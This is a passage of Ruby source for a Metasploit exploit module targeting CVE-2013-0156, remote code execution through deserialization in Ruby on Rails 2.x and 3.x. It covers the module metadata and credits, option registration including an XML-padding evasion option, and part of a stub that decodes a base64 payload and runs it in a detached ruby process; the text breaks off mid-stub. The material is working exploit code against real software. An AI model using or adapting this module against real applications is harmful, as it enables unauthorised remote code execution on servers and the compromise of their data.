This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This module has been tested across multiple versions of RoR 3.x and RoR 2.x The technique used by this module requires the target to be running a fairly version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be exploitable using the init_with() method, but this has not been demonstrated. }, 'Author' => [ 'charliesome', # PoC 'espes', # PoC and Metasploit module 'lian', # Identified the RouteSet::NamedRouteCollection vector 'hdm' # Module merge/conversion/payload work ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0156'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) register_evasion_options( [ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true]) ], self.class) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else if !
